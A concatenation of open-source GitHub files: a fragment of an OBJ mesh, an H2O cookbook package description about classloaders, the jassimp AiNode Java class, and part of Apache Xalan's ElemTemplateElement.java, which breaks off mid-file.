f 254/495/291 269/493/291 294/545/291
f 254/498/292 279/574/292 297/558/292
f 254/498/293 275/500/293 300/551/293
| {
"pile_set_name": "Github"
} |
<body>
Package cookbook contains H2O Java API source code examples that you can run.
Use the main in CookbookRunner to run the example code.
<p>
The first test you should look at is FramesCookbook::frame_001().
<h3>A note about classloaders in H2O</h3>
H2O uses an internal classloader. This classloader primarily exists to enable byte code weaving.
Each H2O node gets its own classloader. Most of the code that is classloader aware lives in water.Boot
and water.Weaver.
Objects that need to be passed between nodes (i.e. serialized objects) need to be weaved.
The weaver acts on code that lives in the packages listed in water.Weaver._packages. Look at the code
in the variants of water.Boot.main (especially the calls to Weaver.registerPackage()) to see how to add
packages to that list. By default, the package containing userMain will be woven (see userMain in CookbookRunner).
</body>
| {
"pile_set_name": "Github"
} |
/*
---------------------------------------------------------------------------
Open Asset Import Library - Java Binding (jassimp)
---------------------------------------------------------------------------
Copyright (c) 2006-2012, assimp team
All rights reserved.
Redistribution and use of this software in source and binary forms,
with or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above
copyright notice, this list of conditions and the
following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the
following disclaimer in the documentation and/or other
materials provided with the distribution.
* Neither the name of the assimp team, nor the names of its
contributors may be used to endorse or promote products
derived from this software without specific prior
written permission of the assimp team.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------
*/
package jassimp;
import java.util.ArrayList;
import java.util.List;
/**
* A node in the imported hierarchy.<p>
*
* Each node has name, a parent node (except for the root node),
* a transformation relative to its parent and possibly several child nodes.
* Simple file formats don't support hierarchical structures - for these formats
* the imported scene consists of only a single root node without children.
*/
public final class AiNode {
/**
* Constructor.
*
* @param parent the parent node, may be null
* @param transform the transform matrix
* @param meshReferences array of mesh references
* @param name the name of the node
*/
AiNode(AiNode parent, Object transform, int[] meshReferences, String name) {
m_parent = parent;
m_transformationMatrix = transform;
m_meshReferences = meshReferences;
m_name = name;
if (null != m_parent) {
m_parent.addChild(this);
}
}
/**
* Returns the name of this node.
*
* @return the name
*/
public String getName() {
return m_name;
}
/**
* Returns the number of child nodes.<p>
*
* This method exists for compatibility reasons with the native assimp API.
* The returned value is identical to <code>getChildren().size()</code>
*
* @return the number of child nodes
*/
public int getNumChildren() {
return getChildren().size();
}
/**
* Returns a 4x4 matrix that specifies the transformation relative to
* the parent node.<p>
*
* This method is part of the wrapped API (see {@link AiWrapperProvider}
* for details on wrappers).<p>
*
* The built in behavior is to return an {@link AiMatrix4f}.
*
* @param wrapperProvider the wrapper provider (used for type inference)
*
* @return a matrix
*/
@SuppressWarnings("unchecked")
public <V3, M4, C, N, Q> M4 getTransform(AiWrapperProvider<V3, M4, C, N, Q>
wrapperProvider) {
return (M4) m_transformationMatrix;
}
/**
* Returns the children of this node.
*
* @return the children, or an empty list if the node has no children
*/
public List<AiNode> getChildren() {
return m_children;
}
/**
* Returns the parent node.
*
* @return the parent, or null of the node has no parent
*/
public AiNode getParent() {
return m_parent;
}
/**
* Searches the node hierarchy below (and including) this node for a node
* with the specified name.
*
* @param name the name to look for
* @return the first node with the given name, or null if no such node
* exists
*/
public AiNode findNode(String name) {
/* classic recursive depth first search */
if (m_name.equals(name)) {
return this;
}
for (AiNode child : m_children) {
if (null != child.findNode(name)) {
return child;
}
}
return null;
}
/**
* Returns the number of meshes references by this node.<p>
*
* This method exists for compatibility with the native assimp API.
* The returned value is identical to <code>getMeshes().length</code>
*
* @return the number of references
*/
public int getNumMeshes() {
return m_meshReferences.length;
}
/**
* Returns the meshes referenced by this node.<p>
*
* Each entry is an index into the mesh list stored in {@link AiScene}.
*
* @return an array of indices
*/
public int[] getMeshes() {
return m_meshReferences;
}
/**
* Adds a child node.
*
* @param child the child to add
*/
void addChild(AiNode child) {
m_children.add(child);
}
/**
* Name.
*/
private final String m_name;
/**
* Parent node.
*/
private final AiNode m_parent;
/**
* Mesh references.
*/
private final int[] m_meshReferences;
/**
* List of children.
*/
private final List<AiNode> m_children = new ArrayList<AiNode>();
/**
* Buffer for transformation matrix.
*/
private final Object m_transformationMatrix;
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Id: ElemTemplateElement.java 475981 2006-11-16 23:35:53Z minchau $
*/
package org.apache.xalan.templates;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import javax.xml.transform.SourceLocator;
import javax.xml.transform.TransformerException;
import org.apache.xalan.res.XSLMessages;
import org.apache.xalan.res.XSLTErrorResources;
import org.apache.xalan.transformer.TransformerImpl;
import org.apache.xml.serializer.SerializationHandler;
import org.apache.xml.utils.PrefixResolver;
import org.apache.xml.utils.UnImplNode;
import org.apache.xpath.ExpressionNode;
import org.apache.xpath.WhitespaceStrippingElementMatcher;
import org.w3c.dom.DOMException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.helpers.NamespaceSupport;
/**
* An instance of this class represents an element inside
* an xsl:template class. It has a single "execute" method
* which is expected to perform the given action on the
* result tree.
* This class acts like a Element node, and implements the
* Element interface, but is not a full implementation
* of that interface... it only implements enough for
* basic traversal of the tree.
*
* @see Stylesheet
* @xsl.usage advanced
*/
public class ElemTemplateElement extends UnImplNode
implements PrefixResolver, Serializable, ExpressionNode,
WhitespaceStrippingElementMatcher, XSLTVisitable
{
static final long serialVersionUID = 4440018597841834447L;
/**
* Construct a template element instance.
*
*/
public ElemTemplateElement(){}
/**
* Tell if this template is a compiled template.
*
* @return Boolean flag indicating whether this is a compiled template
*/
public boolean isCompiledTemplate()
{
return false;
}
/**
* Get an integer representation of the element type.
*
* @return An integer representation of the element, defined in the
* Constants class.
* @see org.apache.xalan.templates.Constants
*/
public int getXSLToken()
{
return Constants.ELEMNAME_UNDEFINED;
}
/**
* Return the node name.
*
* @return An invalid node name
*/
public String getNodeName()
{
return "Unknown XSLT Element";
}
/**
* For now, just return the result of getNodeName(), which
* the local name.
*
* @return The result of getNodeName().
*/
public String getLocalName()
{
return getNodeName();
}
/**
* This function will be called on top-level elements
* only, just before the transform begins.
*
* @param transformer The XSLT TransformerFactory.
*
* @throws TransformerException
*/
public void runtimeInit(TransformerImpl transformer) throws TransformerException{}
/**
* Execute the element's primary function. Subclasses of this
* function may recursivly execute down the element tree.
*
* @param transformer The XSLT TransformerFactory.
*
* @throws TransformerException if any checked exception occurs.
*/
public void execute(
TransformerImpl transformer)
throws TransformerException{}
/**
* Get the owning "composed" stylesheet. This looks up the
* inheritance chain until it calls getStylesheetComposed
* on a Stylesheet object, which will Get the owning
* aggregated stylesheet, or that stylesheet if it is aggregated.
*
* @return the owning "composed" stylesheet.
*/
public StylesheetComposed getStylesheetComposed()
{
return m_parentNode.getStylesheetComposed();
}
/**
* Get the owning stylesheet. This looks up the
* inheritance chain until it calls getStylesheet
* on a Stylesheet object, which will return itself.
*
* @return the owning stylesheet
*/
public Stylesheet getStylesheet()
{
return (null==m_parentNode) ? null : m_parentNode.getStylesheet();
}
/**
* Get the owning root stylesheet. This looks up the
* inheritance chain until it calls StylesheetRoot
* on a Stylesheet object, which will return a reference
* to the root stylesheet.
*
* @return the owning root stylesheet
*/
public StylesheetRoot getStylesheetRoot()
{
return m_parentNode.getStylesheetRoot();
}
/**
* This function is called during recomposition to
* control how this element is composed.
*/
public void recompose(StylesheetRoot root) throws TransformerException
{
}
/**
* This function is called after everything else has been
* recomposed, and allows the template to set remaining
* values that may be based on some other property that
* depends on recomposition.
*/
public void compose(StylesheetRoot sroot) throws TransformerException
{
resolvePrefixTables();
ElemTemplateElement t = getFirstChildElem();
m_hasTextLitOnly = ((t != null)
&& (t.getXSLToken() == Constants.ELEMNAME_TEXTLITERALRESULT)
&& (t.getNextSiblingElem() == null));
StylesheetRoot.ComposeState cstate = sroot.getComposeState();
cstate.pushStackMark();
}
/**
* This after the template's children have been composed.
*/
public void endCompose(StylesheetRoot sroot) throws TransformerException
{
StylesheetRoot.ComposeState cstate = sroot.getComposeState();
cstate.popStackMark();
}
/**
* Throw a template element runtime error. (Note: should we throw a TransformerException instead?)
*
* @param msg key of the error that occured.
* @param args Arguments to be used in the message
*/
public void error(String msg, Object[] args)
{
String themsg = XSLMessages.createMessage(msg, args);
throw new RuntimeException(XSLMessages.createMessage(
XSLTErrorResources.ER_ELEMTEMPLATEELEM_ERR,
new Object[]{ themsg }));
}
/*
* Throw an error.
*
* @param msg Message key for the error
*
*/
public void error(String msg)
{
error(msg, null);
}
// Implemented DOM Element methods.
/**
* Add a child to the child list.
* NOTE: This presumes the child did not previously have a parent.
* Making that assumption makes this a less expensive operation -- but
* requires that if you *do* want to reparent a node, you use removeChild()
* first to remove it from its previous context. Failing to do so will
* damage the tree.
*
* @param newChild Child to be added to child list
*
* @return Child just added to the child list
* @throws DOMException
*/
public Node appendChild(Node newChild) throws DOMException
{
if (null == newChild)
{
error(XSLTErrorResources.ER_NULL_CHILD, null); //"Trying to add a null child!");
}
ElemTemplateElement elem = (ElemTemplateElement) newChild;
if (null == m_firstChild)
{
m_firstChild = elem;
}
else
{
ElemTemplateElement last = (ElemTemplateElement) getLastChild();
last.m_nextSibling = elem;
}
elem.m_parentNode = this;
return newChild;
}
/**
* Add a child to the child list.
* NOTE: This presumes the child did not previously have a parent.
* Making that assumption makes this a less expensive operation -- but
* requires that if you *do* want to reparent a node, you use removeChild()
* first to remove it from its previous context. Failing to do so will
* damage the tree.
*
* @param elem Child to be added to child list
*
* @return Child just added to the child list
*/
public ElemTemplateElement appendChild(ElemTemplateElement elem)
{
if (null == elem)
{
error(XSLTErrorResources.ER_NULL_CHILD, null); //"Trying to add a null child!");
}
if (null == m_firstChild)
{
m_firstChild = elem;
}
else
{
ElemTemplateElement last = getLastChildElem();
last.m_nextSibling = elem;
}
elem.setParentElem(this);
return elem;
}
/**
* Tell if there are child nodes.
*
* @return True if there are child nodes
*/
public boolean hasChildNodes()
{
return (null != m_firstChild);
}
/**
* Get the type of the node.
*
* @return Constant for this node type
*/
public short getNodeType()
{
return org.w3c.dom.Node.ELEMENT_NODE;
}
/**
* Return the nodelist (same reference).
*
* @return The nodelist containing the child nodes (this)
*/
public NodeList getChildNodes()
{
return this;
}
/**
* Remove a child.
* ADDED 9/8/200 to support compilation.
* TODO: ***** Alternative is "removeMe() from my parent if any"
* ... which is less well checked, but more convenient in some cases.
* Given that we assume only experts are calling this class, it might
* be preferable. It's less DOMish, though.
*
* @param childETE The child to remove. This operation is a no-op
* if oldChild is not a child of this node.
*
* @return the removed child, or null if the specified
* node was not a child of this element.
*/
public ElemTemplateElement removeChild(ElemTemplateElement childETE)
{
if (childETE == null || childETE.m_parentNode != this)
return null;
// Pointers to the child
if (childETE == m_firstChild)
m_firstChild = childETE.m_nextSibling;
else
{
ElemTemplateElement prev = childETE.getPreviousSiblingElem();
prev.m_nextSibling = childETE.m_nextSibling;
}
// Pointers from the child
childETE.m_parentNode = null;
childETE.m_nextSibling = null;
return childETE;
}
/**
* Replace the old child with a new child.
*
* @param newChild New child to replace with
* @param oldChild Old child to be replaced
*
* @return The new child
*
* @throws DOMException
*/
public Node replaceChild(Node newChild, Node oldChild) throws DOMException
{
if (oldChild == null || oldChild.getParentNode() != this)
return null;
ElemTemplateElement newChildElem = ((ElemTemplateElement) newChild);
ElemTemplateElement oldChildElem = ((ElemTemplateElement) oldChild);
// Fix up previous sibling.
ElemTemplateElement prev =
(ElemTemplateElement) oldChildElem.getPreviousSibling();
if (null != prev)
prev.m_nextSibling = newChildElem;
// Fix up parent (this)
if (m_firstChild == oldChildElem)
m_firstChild = newChildElem;
newChildElem.m_parentNode = this;
oldChildElem.m_parentNode = null;
newChildElem.m_nextSibling = oldChildElem.m_nextSibling;
oldChildElem.m_nextSibling = null;
// newChildElem.m_stylesheet = oldChildElem.m_stylesheet;
// oldChildElem.m_stylesheet = null;
return newChildElem;
}
/**
* Unimplemented. See org.w3c.dom.Node
*
* @param newChild New child node to insert
* @param refChild Insert in front of this child
*
* @return null
*
* @throws DOMException
*/
public Node insertBefore(Node newChild, Node refChild) throws DOMException
{
if(null == refChild)
{
appendChild(newChild);
return newChild;
}
if(newChild == refChild)
{
// hmm...
return newChild;
}
Node node = m_firstChild;
Node prev = null;
boolean foundit = false;
while (null != node)
{
// If the newChild is already in the tree, it is first removed.
if(newChild == node)
{
if(null != prev)
((ElemTemplateElement)prev).m_nextSibling =
(ElemTemplateElement)node.getNextSibling();
else
m_firstChild = (ElemTemplateElement)node.getNextSibling();
node = node.getNextSibling();
continue; // prev remains the same.
}
if(refChild == node)
{
if(null != prev)
{
((ElemTemplateElement)prev).m_nextSibling = (ElemTemplateElement)newChild;
}
else
{
m_firstChild = (ElemTemplateElement)newChild;
}
((ElemTemplateElement)newChild).m_nextSibling = (ElemTemplateElement)refChild;
((ElemTemplateElement)newChild).setParentElem(this);
prev = newChild;
node = node.getNextSibling();
foundit = true;
continue;
}
prev = node;
node = node.getNextSibling();
}
if(!foundit)
throw new DOMException(DOMException.NOT_FOUND_ERR,
"refChild was not found in insertBefore method!");
else
return newChild;
}
/**
* Replace the old child with a new child.
*
* @param newChildElem New child to replace with
* @param oldChildElem Old child to be replaced
*
* @return The new child
*
* @throws DOMException
*/
public ElemTemplateElement replaceChild(ElemTemplateElement newChildElem,
ElemTemplateElement oldChildElem)
{
if (oldChildElem == null || oldChildElem.getParentElem() != this)
return null;
// Fix up previous sibling.
ElemTemplateElement prev =
oldChildElem.getPreviousSiblingElem();
if (null != prev)
prev.m_nextSibling = newChildElem;
// Fix up parent (this)
if (m_firstChild == oldChildElem)
m_firstChild = newChildElem;
newChildElem.m_parentNode = this;
oldChildElem.m_parentNode = null;
newChildElem.m_nextSibling = oldChildElem.m_nextSibling;
oldChildElem.m_nextSibling = null;
// newChildElem.m_stylesheet = oldChildElem.m_stylesheet;
// oldChildElem.m_stylesheet = null;
return newChildElem;
}
/**
* NodeList method: Count the immediate children of this node
*
* @return The count of children of this node
*/
public int getLength()
{
// It is assumed that the getChildNodes call synchronized
// the children. Therefore, we can access the first child
// reference directly.
int count = 0;
for (ElemTemplateElement node = m_firstChild; node != null;
node = node.m_nextSibling)
{
count++;
}
return count;
} // getLength():int
/**
* NodeList method: Return the Nth immediate child of this node, or
* null if the index is out of bounds.
*
* @param index Index of child to find
* @return org.w3c.dom.Node: the child node at given index
*/
public Node item(int index)
{
// It is assumed that the getChildNodes call synchronized
// the children. Therefore, we can access the first child
// reference directly.
ElemTemplateElement node = m_firstChild;
for (int i = 0; i < index && node != null; i++)
{
node = node.m_nextSibling;
}
return node;
} // item(int):Node
/**
* Get the stylesheet owner.
*
* @return The stylesheet owner
*/
public Document getOwnerDocument()
{
return getStylesheet();
}
/**
* Get the owning xsl:template element.
*
* @return The owning xsl:template element, this element if it is a xsl:template, or null if not found.
*/
public ElemTemplate getOwnerXSLTemplate()
{
ElemTemplateElement el = this;
int type = el.getXSLToken();
while((null != el) && (type != Constants.ELEMNAME_TEMPLATE))
{
el = el.getParentElem();
if(null != el)
type = el.getXSLToken();
}
return (ElemTemplate)el;
}
/**
* Return the element name.
*
* @return The element name
*/
public String getTagName()
{
return getNodeName();
}
/**
* Tell if this element only has one text child, for optimization purposes.
* @return true of this element only has one text literal child.
*/
public boolean hasTextLitOnly()
{
return m_hasTextLitOnly;
}
/**
* Return the base identifier.
*
* @return The base identifier
*/
public String getBaseIdentifier()
{
// Should this always be absolute?
return this.getSystemId();
}
/** line number where the current document event ends.
* @serial */
private int m_lineNumber;
/** line number where the current document event ends.
* @serial */
private int m_endLineNumber;
/**
* Return the line number where the current document event ends.
* Note that this is the line position of the first character
* after the text associated with the document event.
* @return The line number, or -1 if none is available.
* @see #getColumnNumber
*/
public int getEndLineNumber()
{
return m_endLineNumber;
}
/**
* Return the line number where the current document event ends.
* Note that this is the line position of the first character
* after the text associated with the document event.
* @return The line number, or -1 if none is available.
* @see #getColumnNumber
*/
public int getLineNumber()
{
return m_lineNumber;
}
/** the column number where the current document event ends.
* @serial */
private int m_columnNumber;
/** the column number where the current document event ends.
* @serial */
private int m_endColumnNumber;
/**
* Return the column number where the current document event ends.
* Note that this is the column number of the first
* character after the text associated with the document
* event. The first column in a line is position 1.
* @return The column number, or -1 if none is available.
* @see #getLineNumber
*/
public int getEndColumnNumber()
{
return m_endColumnNumber;
}
/**
* Return the column number where the current document event ends.
* Note that this is the column number of the first
* character after the text associated with the document
* event. The first column in a line is position 1.
* @return The column number, or -1 if none is available.
* @see #getLineNumber
*/
public int getColumnNumber()
{
return m_columnNumber;
}
/**
* Return the public identifier for the current document event.
* <p>This will be the public identifier
* @return A string containing the public identifier, or
* null if none is available.
* @see #getSystemId
*/
public String getPublicId()
{
return (null != m_parentNode) ? m_parentNode.getPublicId() : null;
}
/**
* Return the system identifier for the current document event.
*
* <p>If the system identifier is a URL, the parser must resolve it
* fully before passing it to the application.</p>
*
* @return A string containing the system identifier, or null
* if none is available.
* @see #getPublicId
*/
public String getSystemId()
{
Stylesheet sheet=getStylesheet();
return (sheet==null) ? null : sheet.getHref();
}
/**
* Set the location information for this element.
*
* @param locator Source Locator with location information for this element
*/
public void setLocaterInfo(SourceLocator locator)
{
m_lineNumber = locator.getLineNumber();
m_columnNumber = locator.getColumnNumber();
}
/**
* Set the end location information for this element.
*
* @param locator Source Locator with location information for this element
*/
public void setEndLocaterInfo(SourceLocator locator)
{
m_endLineNumber = locator.getLineNumber();
m_endColumnNumber = locator.getColumnNumber();
}
/**
* Tell if this element has the default space handling
* turned off or on according to the xml:space attribute.
* @serial
*/
private boolean m_defaultSpace = true;
/**
* Tell if this element only has one text child, for optimization purposes.
* @serial
*/
private boolean m_hasTextLitOnly = false;
/**
* Tell if this element only has one text child, for optimization purposes.
* @serial
*/
protected boolean m_hasVariableDecl = false;
public boolean hasVariableDecl()
{
return m_hasVariableDecl;
}
/**
* Set the "xml:space" attribute.
* A text node is preserved if an ancestor element of the text node
* has an xml:space attribute with a value of preserve, and
* no closer ancestor element has xml:space with a value of default.
* @see <a href="http://www.w3.org/TR/xslt#strip">strip in XSLT Specification</a>
* @see <a href="http://www.w3.org/TR/xslt#section-Creating-Text">section-Creating-Text in XSLT Specification</a>
*
* @param v Enumerated value, either Constants.ATTRVAL_PRESERVE
* or Constants.ATTRVAL_STRIP.
*/
public void setXmlSpace(int v)
{
m_defaultSpace = ((Constants.ATTRVAL_STRIP == v) ? true : false);
}
/**
* Get the "xml:space" attribute.
* A text node is preserved if an ancestor element of the text node
* has an xml:space attribute with a value of preserve, and
* no closer ancestor element has xml:space with a value of default.
* @see <a href="http://www.w3.org/TR/xslt#strip">strip in XSLT Specification</a>
* @see <a href="http://www.w3.org/TR/xslt#section-Creating-Text">section-Creating-Text in XSLT Specification</a>
*
* @return The value of the xml:space attribute
*/
public boolean getXmlSpace()
{
return m_defaultSpace;
}
/**
* The list of namespace declarations for this element only.
* @serial
*/
private List m_declaredPrefixes;
/**
* Return a table that contains all prefixes available
* within this element context.
*
* @return Vector containing the prefixes available within this
* element context
*/
public List getDeclaredPrefixes()
{
return m_declaredPrefixes;
}
/**
* From the SAX2 helper class, set the namespace table for
* this element. Take care to call resolveInheritedNamespaceDecls.
* after all namespace declarations have been added.
*
* @param nsSupport non-null reference to NamespaceSupport from
* the ContentHandler.
*
* @throws TransformerException
*/
public void setPrefixes(NamespaceSupport nsSupport) throws TransformerException
{
setPrefixes(nsSupport, false);
}
/**
* Copy the namespace declarations from the NamespaceSupport object.
* Take care to call resolveInheritedNamespaceDecls.
* after all namespace declarations have been added.
*
* @param nsSupport non-null reference to NamespaceSupport from
* the ContentHandler.
* @param excludeXSLDecl true if XSLT namespaces should be ignored.
*
* @throws TransformerException
*/
public void setPrefixes(NamespaceSupport nsSupport, boolean excludeXSLDecl)
throws TransformerException
{
Enumeration decls = nsSupport.getDeclaredPrefixes();
while (decls.hasMoreElements())
{
String prefix = (String) decls.nextElement();
if (null == m_declaredPrefixes)
m_declaredPrefixes = new ArrayList();
String uri = nsSupport.getURI(prefix);
if (excludeXSLDecl && uri.equals(Constants.S_XSLNAMESPACEURL))
continue;
// System.out.println("setPrefixes - "+prefix+", "+uri);
XMLNSDecl decl = new XMLNSDecl(prefix, uri, false);
m_declaredPrefixes.add(decl);
}
}
/**
* Fullfill the PrefixResolver interface. Calling this for this class
* will throw an error.
*
* @param prefix The prefix to look up, which may be an empty string ("")
* for the default Namespace.
* @param context The node context from which to look up the URI.
*
* @return null if the error listener does not choose to throw an exception.
*/
public String getNamespaceForPrefix(String prefix, org.w3c.dom.Node context)
{
this.error(XSLTErrorResources.ER_CANT_RESOLVE_NSPREFIX, null);
return null;
}
/**
* Given a namespace, get the corrisponding prefix.
* 9/15/00: This had been iteratively examining the m_declaredPrefixes
* field for this node and its parents. That makes life difficult for
* the compilation experiment, which doesn't have a static vector of
* local declarations. Replaced a recursive solution, which permits
* easier subclassing/overriding.
*
* @param prefix non-null reference to prefix string, which should map
* to a namespace URL.
*
* @return The namespace URL that the prefix maps to, or null if no
* mapping can be found.
*/
public String getNamespaceForPrefix(String prefix)
{
// if (null != prefix && prefix.equals("xmlns"))
// {
// return Constants.S_XMLNAMESPACEURI;
// }
List nsDecls = m_declaredPrefixes;
if (null != nsDecls)
{
int n = nsDecls.size();
if(prefix.equals(Constants.ATTRVAL_DEFAULT_PREFIX))
{
prefix = "";
}
for (int i = 0; i < n; i++)
{
XMLNSDecl decl = (XMLNSDecl) nsDecls.get(i);
if (prefix.equals(decl.getPrefix()))
return decl.getURI();
}
}
// Not found; ask our ancestors
if (null != m_parentNode)
return m_parentNode.getNamespaceForPrefix(prefix);
// JJK: No ancestors; try implicit
// %REVIEW% Are there literals somewhere that we should use instead?
// %REVIEW% Is this really the best place to patch?
if("xml".equals(prefix))
return "http://www.w3.org/XML/1998/namespace";
// No parent, so no definition
return null;
}
/**
* The table of {@link XMLNSDecl}s for this element
* and all parent elements, screened for excluded prefixes.
* @serial
*/
private List m_prefixTable;
/**
* Return a table that contains all prefixes available
* within this element context.
*
* @return reference to vector of {@link XMLNSDecl}s, which may be null.
*/
List getPrefixTable()
{
return m_prefixTable;
}
void setPrefixTable(List list) {
m_prefixTable = list;
}
/**
* Get whether or not the passed URL is contained flagged by
* the "extension-element-prefixes" property. This method is overridden
* by {@link ElemLiteralResult#containsExcludeResultPrefix}.
* @see <a href="http://www.w3.org/TR/xslt#extension-element">extension-element in XSLT Specification</a>
*
* @param prefix non-null reference to prefix that might be excluded.
*
* @return true if the prefix should normally be excluded.
*/
public boolean containsExcludeResultPrefix(String prefix, String uri)
{
ElemTemplateElement parent = this.getParentElem();
if(null != parent)
return parent.containsExcludeResultPrefix(prefix, uri);
return false;
}
/**
* Tell if the result namespace decl should be excluded. Should be called before
* namespace aliasing (I think).
*
* @param prefix non-null reference to prefix.
* @param uri reference to namespace that prefix maps to, which is protected
* for null, but should really never be passed as null.
*
* @return true if the given namespace should be excluded.
*
* @throws TransformerException
*/
private boolean excludeResultNSDecl(String prefix, String uri)
throws TransformerException
{
if (uri != null)
{
if (uri.equals(Constants.S_XSLNAMESPACEURL)
|| getStylesheet().containsExtensionElementURI(uri))
return true;
if (containsExcludeResultPrefix(prefix, uri))
return true;
}
return false;
}
/**
* Combine the parent's namespaces with this namespace
* for fast processing, taking care to reference the
* parent's namespace if this namespace adds nothing new.
* (Recursive method, walking the elements depth-first,
* processing parents before children).
* Note that this method builds m_prefixTable with aliased
* namespaces, *not* the original namespaces.
*
* @throws TransformerException
*/
public void resolvePrefixTables() throws TransformerException
{
// Always start with a fresh prefix table!
setPrefixTable(null);
// If we have declared declarations, then we look for
// a parent that has namespace decls, and add them
// to this element's decls. Otherwise we just point
// to the parent that has decls.
if (null != this.m_declaredPrefixes)
{
StylesheetRoot stylesheet = this.getStylesheetRoot();
// Add this element's declared prefixes to the
// prefix table.
int n = m_declaredPrefixes.size();
for (int i = 0; i < n; i++)
{
XMLNSDecl decl = (XMLNSDecl) m_declaredPrefixes.get(i);
String prefix = decl.getPrefix();
String uri = decl.getURI();
if(null == uri)
uri = "";
boolean shouldExclude = excludeResultNSDecl(prefix, uri);
// Create a new prefix table if one has not already been created.
if (null == m_prefixTable)
setPrefixTable(new ArrayList());
NamespaceAlias nsAlias = stylesheet.getNamespaceAliasComposed(uri);
if(null != nsAlias)
{
// Should I leave the non-aliased element in the table as
// an excluded element?
// The exclusion should apply to the non-aliased prefix, so
// we don't calculate it here. -sb
// Use stylesheet prefix, as per xsl WG
decl = new XMLNSDecl(nsAlias.getStylesheetPrefix(),
nsAlias.getResultNamespace(), shouldExclude);
}
else
decl = new XMLNSDecl(prefix, uri, shouldExclude);
m_prefixTable.add(decl);
}
}
ElemTemplateElement parent = this.getParentNodeElem();
if (null != parent)
{
// The prefix table of the parent should never be null!
List prefixes = parent.m_prefixTable;
if (null == m_prefixTable && !needToCheckExclude())
{
// Nothing to combine, so just use parent's table!
setPrefixTable(parent.m_prefixTable);
}
else
{
// Add the prefixes from the parent's prefix table.
int n = prefixes.size();
for (int i = 0; i < n; i++)
{
XMLNSDecl decl = (XMLNSDecl) prefixes.get(i);
boolean shouldExclude = excludeResultNSDecl(decl.getPrefix(),
decl.getURI());
if (shouldExclude != decl.getIsExcluded())
{
decl = new XMLNSDecl(decl.getPrefix(), decl.getURI(),
shouldExclude);
}
//m_prefixTable.addElement(decl);
addOrReplaceDecls(decl);
}
}
}
else if (null == m_prefixTable)
{
// Must be stylesheet element without any result prefixes!
setPrefixTable(new ArrayList());
}
}
/**
* Add or replace this namespace declaration in list
* of namespaces in scope for this element.
*
* @param newDecl namespace declaration to add to list
*/
void addOrReplaceDecls(XMLNSDecl newDecl)
{
int n = m_prefixTable.size();
for (int i = n - 1; i >= 0; i--)
{
XMLNSDecl decl = (XMLNSDecl) m_prefixTable.get(i);
if (decl.getPrefix().equals(newDecl.getPrefix()))
{
return;
}
}
m_prefixTable.add(newDecl);
}
/**
* Return whether we need to check namespace prefixes
* against and exclude result prefixes list.
*/
boolean needToCheckExclude()
{
return false;
}
/**
* Send startPrefixMapping events to the result tree handler
* for all declared prefix mappings in the stylesheet.
*
* @param transformer non-null reference to the the current transform-time state.
*
* @throws TransformerException
*/
void executeNSDecls(TransformerImpl transformer) throws TransformerException
{
executeNSDecls(transformer, null);
}
/**
* Send startPrefixMapping events to the result tree handler
* for all declared prefix mappings in the stylesheet.
*
* @param transformer non-null reference to the the current transform-time state.
* @param ignorePrefix string prefix to not startPrefixMapping
*
* @throws TransformerException
*/
void executeNSDecls(TransformerImpl transformer, String ignorePrefix) throws TransformerException
{
try
{
if (null != m_prefixTable)
{
SerializationHandler rhandler = transformer.getResultTreeHandler();
int n = m_prefixTable.size();
for (int i = n - 1; i >= 0; i--)
{
XMLNSDecl decl = (XMLNSDecl) m_prefixTable.get(i);
if (!decl.getIsExcluded() && !(null != ignorePrefix && decl.getPrefix().equals(ignorePrefix)))
{
rhandler.startPrefixMapping(decl.getPrefix(), decl.getURI(), true);
}
}
}
}
catch(org.xml.sax.SAXException se)
{
throw new TransformerException(se);
}
}
/**
* Send endPrefixMapping events to the result tree handler
* for all declared prefix mappings in the stylesheet.
*
* @param transformer non-null reference to the the current transform-time state.
*
* @throws TransformerException
*/
void unexecuteNSDecls(TransformerImpl transformer) throws TransformerException
{
unexecuteNSDecls(transformer, null);
}
/**
* Send endPrefixMapping events to the result tree handler
* for all declared prefix mappings in the stylesheet.
*
* @param transformer non-null reference to the the current transform-time state.
* @param ignorePrefix string prefix to not endPrefixMapping
*
* @throws TransformerException
*/
void unexecuteNSDecls(TransformerImpl transformer, String ignorePrefix) throws TransformerException
{
try
{
if (null != m_prefixTable)
{
SerializationHandler rhandler = transformer.getResultTreeHandler();
int n = m_prefixTable.size();
for (int i = 0; i < n; i++)
{
XMLNSDecl decl = (XMLNSDecl) m_prefixTable.get(i);
if (!decl.getIsExcluded() && !(null != ignorePrefix && decl.getPrefix().equals(ignorePrefix)))
{
rhandler.endPrefixMapping(decl.getPrefix());
}
}
}
}
catch(org.xml.sax.SAXException se)
{
throw new TransformerException(se);
}
}
/** The *relative* document order number of this element.
* @serial */
